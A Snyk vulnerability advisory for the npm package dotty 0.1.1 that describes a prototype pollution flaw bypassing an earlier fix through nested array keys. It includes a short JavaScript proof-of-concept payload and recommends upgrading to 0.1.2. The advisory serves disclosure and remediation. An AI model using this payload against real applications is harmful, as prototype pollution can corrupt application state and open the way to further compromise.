dotty@0.1.1 vulnerabilities

Access properties of nested objects using dot-path notation

  • latest version

    0.1.2

  • latest non vulnerable version

  • first published

    12 years ago

  • latest version published

    3 years ago

  • licenses detected

  • Direct Vulnerabilities

    Known vulnerabilities in the dotty package. This does not include vulnerabilities belonging to this package’s dependencies.

    How to fix?

    Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.

    Fix for free
    VulnerabilityVulnerable Version
    • M
    Prototype Pollution

    dotty is a package that can access properties of nested objects using dot-path notation.

    Affected versions of this package are vulnerable to Prototype Pollution. A type confusion vulnerability can lead to a bypass of CVE-2021-25912 when the user-provided keys used in the path parameter are arrays.

    PoC

    const dotty = require('dotty');
    
    // dotty.put({}, ['__proto__','polluted'], 'yes');
    // console.log(polluted); // ReferenceError: polluted is not defined
    
    dotty.put({}, [['__proto__'],'polluted'], 'yes');
    console.log(polluted); // yes
    

    How to fix Prototype Pollution?

    Upgrade dotty to version 0.1.2 or higher.

    <0.1.2